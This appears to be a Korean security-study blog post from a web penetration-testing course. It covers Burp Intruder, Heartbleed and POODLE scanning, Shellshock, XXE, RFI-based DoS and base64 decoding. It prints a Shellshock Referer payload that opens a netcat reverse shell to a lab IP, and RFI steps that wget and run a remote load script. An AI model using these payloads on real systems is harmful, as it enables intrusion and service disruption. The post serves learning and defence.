wonder

정보보안 스터디 - 15주차 1일 - openSSL 취약점 사례 본문

Security/웹 모의해킹

정보보안 스터디 - 15주차 1일 - openSSL 취약점 사례

wonder12 2023. 1. 20. 02:20

☞ Intruder 

burp suite의 intruder 기능에서

sniper는 하나의 파라미터 값만 대입 공격을 합니다.

cluster bomb는 두개의 파라미터 값에 대입공격을 합니다.

아이디와 패스워드가 예시로 있습니다.

 

brute force 무작위 대입 공격도 있지만 오래걸리기 때문에

simple list로 사용자 편집 사전 대입 공격을 합니다.

testlist를 불러옵니다. 

 

grep-match 에서는 만약 특이한 응답이 왔을 경우 알아챌 수 있도록 체크가 가능합니다.

 

 

 디렉토리 트레버설  대응방안

$real_user_path = realpath($user_path)

다른 디렉토리로 이동안되게끔 현재 경로만 응답하도록 설정합니다.

 

원래는 apache2/httpd.conf or apache2.conf 에 웹서버 환경설정 파일이 있어야 하는데 site-avalable/default 에 있는 경우도 있습니다.

 

 

취약점들

heartbleed 취약점

openSSL 1버전, 이전 버전에서

감자를 2바이트가 아닌 100바이트로 응답해달라고 악의적인 요청을 보냈을 때 

유저의 계정정보 등 쓸데없는 응답까지 주는 위험한 취약점입니다.

 

nmap에서 8443 port 에 열려있는 ssl 에 대해 nse 스크립트로 취약점 스캔이 가능합니다.

또한 msfconsole -q 에서 하트블리드 테스트하기 위한 모듈을 찾아 실행시킬 수 있습니다. 

 

poodle 취약점

SSLv3의 특정 버전에 대해서만 암호화된 정보중 일부가 평문으로 보여지는 취약점입니다.

nmap에서 스크립트를 통한 취약점 스캔이 가능합니다.

 

대응방안

해당 취약점을 방지하기 위해서는

openSSL 3버전이라도 취약점이 최소한으로 발생하는 HTTPS(SSL)버전을 사용합니다.

 

bash shellshock 취약점

2014년 이전 리눅스 버전에서 발생한 것으로 현재는 패치되었습니다.

환경변수를 함수형식으로 선언할 경우 취약점 이용이 가능합니다.

env x= { : ;} ;

Referer: 부분을 변조해 공격합니다.

Referer: () { :;}; echo " Vulnerability TEST" $(/bin/sh -c "nc -e /bin/bash 192.168.20.50 4465")

보통은 ; 뒷부분이 실행되지 않지만 취약하다면 실행되므로 다른 명령어 사용이 가능합니다. 공격자 쉘을 리슨상태로 만들고 피해자가 직접 접속하도록 하는 Reverse TCP 요청 쉘 연결 방식이 가능합니다.

 

 

 

 XML External Entity Attacks (XXE 공격)

현재 버튼을 누르면 스크립트태그로 함수를 실행시키고

xml 파일에 요청을 보내 참조해옵니다.

github의 스크립트 코드를 이용해

해당 요청을 변경하여

내부 서버 자원에 접근하거나,

DOS과부하 xml를 실행시키거나

등 여러가지를 할 수 있습니다.

 

 

 

 RFI를 이용한 DOS 공격

파일을 include 하는 방식의 취약점을 찾아

파라미터값에 외부 웹쉘 코드를 가져와 실행시키고

wget 으로 서버에 과부하를 주는 외부의 쉘스크립트를 받아옵니다.

wget http://blog.kakaocdn.net/dn/ctIWDM/btrGg4aFUbk/3qK3Q0C2T99koaKdmbJhWk/tfile.sh

권한을 주고 바로 실행시키면 gnome-system-monitor에 CPU 부하가 오는 것을 확인할 수 있습니다.

./tfile.sh

 

 

 

 burp suite 바디 값에서 base64 인코딩값 디코드하기

echo -n cisco | base64

echo -n 인코딩 | base64 --decode

대부분 hash-identifier로 확인했을 때 sha1 암호화가 많아 복호화가 불가능한 경우가 많겠지만 대문자가 많다거나 대소문자 포함하고 패딩=, /가 보인다면 base64의 증거가 이므로 디코드 하여 값을 확인합니다.

 

 URL encoding

burp suite에서 

get 또는 post 방식으로 보내던지

요청을 보낼 때는 /에 대해서 %2F 라는 URL 인코딩방식으로 보내게 됩니다. 그 이유를 알아야 하는데

만약 /로 구분없이 처리될 경우 http://wonder.com/1/ 이런식으로 경로에 영향을 끼치기 때문에 구분지어줘야합니다.  

 

 

다음 시간에는 

Snort를 통한 IDS(침입 탐지 시스템)를 제작하여 기존에 했던 공격 방식들을 막아 보는 환경을 구축하겟습니다.

snort에는 http관련 옵션들이 많기 때문에 최적화하여 사용할 경우 웹 방화벽이 되는 것입니다.

 

 

 

Comments